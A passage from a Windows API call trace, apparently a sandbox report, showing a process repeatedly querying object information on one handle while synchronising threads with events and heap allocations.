Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.539] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.539] ResetEvent (hEvent=0x110) returned 1 [0259.539] SetEvent (hEvent=0x114) returned 1 [0259.539] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.539] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.539] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.539] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.539] ResetEvent (hEvent=0x110) returned 1 [0259.540] SetEvent (hEvent=0x114) returned 1 [0259.540] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.540] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.540] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.540] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.540] ResetEvent (hEvent=0x110) returned 1 [0259.540] SetEvent (hEvent=0x114) returned 1 [0259.540] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.540] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.540] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.540] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.540] ResetEvent (hEvent=0x110) returned 1 [0259.540] SetEvent (hEvent=0x114) returned 1 [0259.540] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.540] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.540] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.540] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.540] ResetEvent (hEvent=0x110) returned 1 [0259.541] SetEvent (hEvent=0x114) returned 1 [0259.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.541] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.541] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.541] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.541] ResetEvent (hEvent=0x110) returned 1 [0259.541] SetEvent (hEvent=0x114) returned 1 [0259.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.541] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.541] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.541] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.541] ResetEvent (hEvent=0x110) returned 1 [0259.541] SetEvent (hEvent=0x114) returned 1 [0259.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.541] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.541] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.541] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.541] ResetEvent (hEvent=0x110) returned 1 [0259.542] SetEvent (hEvent=0x114) returned 1 [0259.542] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.542] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.542] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.542] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.542] ResetEvent (hEvent=0x110) returned 1 [0259.542] SetEvent (hEvent=0x114) returned 1 [0259.542] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.542] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.542] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.542] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.542] ResetEvent (hEvent=0x110) returned 1 [0259.542] SetEvent (hEvent=0x114) returned 1 [0259.542] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.542] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.542] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.542] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.543] ResetEvent (hEvent=0x110) returned 1 [0259.543] SetEvent (hEvent=0x114) returned 1 [0259.543] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.543] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.543] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.543] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.543] ResetEvent (hEvent=0x110) returned 1 [0259.543] SetEvent (hEvent=0x114) returned 1 [0259.543] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.543] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.543] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.543] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.543] ResetEvent (hEvent=0x110) returned 1 [0259.543] SetEvent (hEvent=0x114) returned 1 [0259.543] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.543] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.543] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.544] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.544] ResetEvent (hEvent=0x110) returned 1 [0259.544] SetEvent (hEvent=0x114) returned 1 [0259.544] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.544] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.544] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.544] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.544] ResetEvent (hEvent=0x110) returned 1 [0259.544] SetEvent (hEvent=0x114) returned 1 [0259.544] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.544] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.544] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.544] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.544] ResetEvent (hEvent=0x110) returned 1 [0259.544] SetEvent (hEvent=0x114) returned 1 [0259.545] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.545] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.545] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.545] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.545] ResetEvent (hEvent=0x110) returned 1 [0259.545] SetEvent (hEvent=0x114) returned 1 [0259.545] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.545] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.545] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.545] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.545] ResetEvent (hEvent=0x110) returned 1 [0259.545] SetEvent (hEvent=0x114) returned 1 [0259.545] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.545] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.545] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.545] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.545] ResetEvent (hEvent=0x110) returned 1 [0259.545] SetEvent (hEvent=0x114) returned 1 [0259.546] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.546] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.546] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.546] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.546] ResetEvent (hEvent=0x110) returned 1 [0259.546] SetEvent (hEvent=0x114) returned 1 [0259.546] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.546] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.546] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.546] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.546] ResetEvent (hEvent=0x110) returned 1 [0259.546] SetEvent (hEvent=0x114) returned 1 [0259.546] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.546] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.546] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.546] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.546] ResetEvent (hEvent=0x110) returned 1 [0259.546] SetEvent (hEvent=0x114) returned 1 [0259.547] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.547] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.547] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.547] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.547] ResetEvent (hEvent=0x110) returned 1 [0259.547] SetEvent (hEvent=0x114) returned 1 [0259.547] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.547] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.547] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.547] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.547] ResetEvent (hEvent=0x110) returned 1 [0259.547] SetEvent (hEvent=0x114) returned 1 [0259.547] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.547] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.547] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.547] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.547] ResetEvent (hEvent=0x110) returned 1 [0259.547] SetEvent (hEvent=0x114) returned 1 [0259.548] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.548] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.548] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.548] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.548] ResetEvent (hEvent=0x110) returned 1 [0259.548] SetEvent (hEvent=0x114) returned 1 [0259.548] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.548] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.548] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.548] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.548] ResetEvent (hEvent=0x110) returned 1 [0259.548] SetEvent (hEvent=0x114) returned 1 [0259.548] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.548] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.548] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.548] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.548] ResetEvent (hEvent=0x110) returned 1 [0259.548] SetEvent (hEvent=0x114) returned 1 [0259.549] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.549] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.549] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.549] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.549] ResetEvent (hEvent=0x110) returned 1 [0259.549] SetEvent (hEvent=0x114) returned 1 [0259.549] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.549] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.549] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.549] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.549] ResetEvent (hEvent=0x110) returned 1 [0259.549] SetEvent (hEvent=0x114) returned 1 [0259.549] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.549] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.549] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.549] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.549] ResetEvent (hEvent=0x110) returned 1 [0259.550] SetEvent (hEvent=0x114) returned 1 [0259.550] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.550] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.550] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.550] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.550] ResetEvent (hEvent=0x110) returned 1 [0259.550] SetEvent (hEvent=0x114) returned 1 [0259.550] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.550] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.550] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.550] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.550] ResetEvent (hEvent=0x110) returned 1 [0259.550] SetEvent (hEvent=0x114) returned 1 [0259.550] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.550] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.550] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.550] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.551] GetFileType (hFile=0x1b0) returned 0x3 [0259.551] ResetEvent (hEvent=0x110) returned 1 [0259.551] SetEvent (hEvent=0x114) returned 1 [0259.551] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.551] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.551] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.551] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.551] GetFileType (hFile=0x1b0) returned 0x3 [0259.551] ResetEvent (hEvent=0x110) returned 1 [0259.551] SetEvent (hEvent=0x114) returned 1 [0259.551] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.551] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.551] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.551] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.551] GetFileType (hFile=0x1b0) returned 0x3 [0259.551] ResetEvent (hEvent=0x110) returned 1 [0259.551] SetEvent (hEvent=0x114) returned 1 [0259.552] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.552] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.552] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.552] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.552] ResetEvent (hEvent=0x110) returned 1 [0259.552] SetEvent (hEvent=0x114) returned 1 [0259.552] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.552] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.552] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.552] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.552] ResetEvent (hEvent=0x110) returned 1 [0259.552] SetEvent (hEvent=0x114) returned 1 [0259.552] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.552] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.552] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.552] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.552] ResetEvent (hEvent=0x110) returned 1 [0259.552] SetEvent (hEvent=0x114) returned 1 [0259.552] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.553] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.553] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.553] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.553] ResetEvent (hEvent=0x110) returned 1 [0259.553] SetEvent (hEvent=0x114) returned 1 [0259.553] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.553] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.553] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.553] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.553] ResetEvent (hEvent=0x110) returned 1 [0259.553] SetEvent (hEvent=0x114) returned 1 [0259.553] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.553] 